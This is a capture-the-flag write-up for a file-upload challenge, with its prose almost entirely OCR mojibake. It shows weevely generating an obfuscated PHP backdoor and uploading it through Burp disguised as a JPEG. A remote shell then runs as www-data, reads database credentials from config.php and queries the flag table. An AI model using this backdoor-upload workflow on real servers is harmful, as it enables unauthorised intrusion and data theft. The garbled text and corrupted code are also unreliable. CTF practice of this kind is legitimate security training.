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Do you know upload?
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STomadMen

BAEARBRKIMTT, TP RE LR, WUEE html €& 7 —BIERHMRR:

&1t;!--
include($_GET['file']);
--8gt;

AT AW RE JE & Bz K2 php 7o ABAT LA EAE—A> php REREERF SR T . LR KERE R
REER—NIARY, REKRIHERICIE KK, R burp PR A EGER. THBZ weevely KIfE
)EH T o

BHATE kali FHERXANTERITH, REBRKS: ( weevely generate<password><path> )
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:~# weevely

weevely 3.2.8
Error: too few arguments

Run terminal to the target
weevely =<URL> <password= [cmd]

ession =path= [cmd]

Generate backdoor agent
weevely generate <password= =path=

. :~# weevely gen ss /root/project/cmd.php % madMen
Generated backdoor with 'pass' in '/root/project/cmd.php' of 1486 byte size.

XAERATHAE /root/project FAMK T —4> cmd.php K. TFHEERMMHEANL EET . BRBZA ARG
BABON jpg, RIEEFEEF EfE, RJEFE burp HeRSCHF B0 emd.php:

eoe 0 B Q> Kali-Linux-2018.2-vm-amd64

Burp Suite Community Edition v1.7.32 - Temporary Project @ 0 0
Burp Intruder Repeater Window Help
[Target l’ ] Spider ]Scanﬂer Intruder I Repeater [Sequencer l Decoder ' Comparer ] Extender | Project options ] User options ]Alerts ]
],. ] HTTP history | WebSockets history ] Options |

#| Request to http://b1079b4419f4422495bccSe7f2ed3aadaf3c27ada68843c7.game.ichungiu.com:80 [106.39.208.9]

Forward | Drop | | Interceptison | Action | t t Hl

J Raw ] Params | Headers [ Hex ]

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 A
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://bl079b4419f4422495bccSe7f2ed3aadaf3c27adab8843c7 . game. 1chungiu. com/

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=
Content-Length: 1933

----------------------------- 1222729664343082375899902531
Content-Disposition: form-data; name="dir"

Juploads/
----------------------------- 1222729664343082375899902531

Content-Disposition: form-data; name="file"; filename="cmg.php"
Content-Type: 1mage/jpeg

<?php
sU="[E[E[E[N;$s5="substr";$slE[E[="strtoloE[E[wE[er";s1=sm[1][0].sm[E[1)[1]);E[sh=3s1(3ss(mE";
sL="[<count(sm[1]);$z++)sE[p.=sqlsm[E[2][3E[z]E[];1f(strpElos(sp,sh)E[===0)E[{E[ss[s1]=""E[";
sc="e64_dE[ecode(pE[E[reE[g_replace(arrayE[("/E[_E[/","/-/"),arraE[y("/E[","+") ,$ssE[(SE[SE[["';
sa="ncoE[de(x(gzcE[ompress($oE[),sk)JE[;E[print(“<skE[>%d</sk>")E[ ;@sesE[siE[on_destroyE[();}}}}";
sm=str_replace('cd','", "crcdeacdtcde_cdfuncCdcticdon');

FE[);1E[f(se) {sk=3E[kh.skf;ob_sE[tE[art();@E[evE[al(@gzuE[ncompress(@x(@E[bE[as";
SEE[RVER; SE[rrE[=@$rE[["HTTP_REFEREE[R"] ;$ra=
$E[q)E[;preg_match_all("/(E[I\\WE[]) [\\w-1+("
(E[$j<SE[c&E[&$1<51) ;E[SJE[+E[+E[,51++){%0.";
[e=strlen($E[k) :$E[l=strlenE[($t):";

s$d="sE[oE[="";for(E[$1=0;%1i<$E[L;E[){for(
sp='skhe[E[="1a1E[d" ;skf="c9E[1c": funcE|
sw="7?E[:E[;qE[E[=0.([\\d]))?,?/",El$ra,sm);1 10E[n_start();SE[s=E[&$_SESSIOE';
sM=";$p=Elsss(E[$E[p,3E[);}1f(aElrray_key_ exiE [EI .=sp;se=strpElos(ss[El';
s0="rE[["E[HE[TTP_AE[CCEPT_LANGUAGE"];E[1if($rrE[&E[&SraE[) {$E[u=parse_uE[E[rL(E[$rr);parse_str(s';
sw='%61],0,%eE[))),sk}));s0=0E[b_get_El[¢ obE[_endE[E[_clean()E[;$E[d=basE[e64_e';

sG="'[d5(s1.5kE[h),0,E[3E[))E[;$f=5sL(E[$sE[s(md5($1.5kf),0,3E[));E[sp="";for(E[sz=1E[;E[SE[zE"';
sB=str_replace('E[','" ,$p.5$d.5T7.50.59.5W.5U.$6.5L.5M.%0.5c.5w.%a);
sP=sm('',sB):sP();
) macivie v
(= [k =) [Type a search tem 0 matches

X EAERT, fRFFFE upload/ B2 T . THEHBA LLEE weevely ERIEITT . bfEZJE, BV — T X4
. RAEETmES: weevely<url-path><password> HA]LEEZENET :



i~/project# weevely http://ble79b4419f4422495bccSe7f2ed3aadafic27ada68843c7.game. ichunqiu.com/upload/cmg.php pass

[+] weevely 3.2.0

[+] Target: b1879b4419T4422495bcc5e7f2ed3aadaf3c27ada68843c7 . game. ichungiu. com
[+] Session: /root/.weevely/sessions/b1079b4419f4422495bcc5e7f2ed3aadaf3c27ada68843c7 .game. ichungiu.com/cmg 6.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> id

uid=33(www-data) gid=33(www-data) groups=33(www-data) ?o madMen

wwiw-data@d488212d9b9f : /var/www/html/upload $ |J

BEEMATEHINAE T, HAALIES upload #42, B4ZEIR LK. WUFER htm BETAELINX
4, tedn ctf.sql BLK config.php. ctf.sql & — N2 XM, BEHEEEMRANZE. FTFF config.php ATLLE B2 —B
phF)TﬁE%:

&1t;?php
error_reporting(®);
session_start();

$servername = "localhost";
$username = "ctf";
$password = “"ctfctfctf";
$database = "ctf";

// BIEER

$conn = mysql_connect($servername, $username, $password) or die(" connect to mysql error");
mysql_select_db($database);
?&gt;

A LAE RS R — B mysql B3 FE &R, BIEEERNEEEME M 7. THMEFLMER sql_console
*ﬁﬁ%%lﬁﬁ‘ﬁlﬁﬁ%yﬁTo E :sql console-u ctf-p ctfctfctt ?)ﬁﬂu@ﬁﬁ%ﬁTo Tﬁ
ToRAT LAE BIHUE E G B RRERER.

www-data@d488212d9baf: /var/www/html $ :s5ql console -u ctf -p ctfctfctf
ctf@localhost SQL> show databases;

information

SQL> show tables in ctf;

% ELL

ctf@localhost SQL=> I

A LAERIBR T information_schema $iEE, &8 —AN ctf MBEEE, HE ctf BIEEFEE —40 flag K%
. IREAE, flag R A RMEEXNRES . HIFEH select*fromflag MAERR
[-] [console]Nodata returnedCheckcredentialsandDB availability o 3T
R Ipik, HIFEEIMNEE R K. FRA FIE weevely TiERFHE ERIRES, FrbATEMER
usedatbasename XFEERER. HEMEH select*fromctf.flag HAPAEZ]
flag 1,

PAE.
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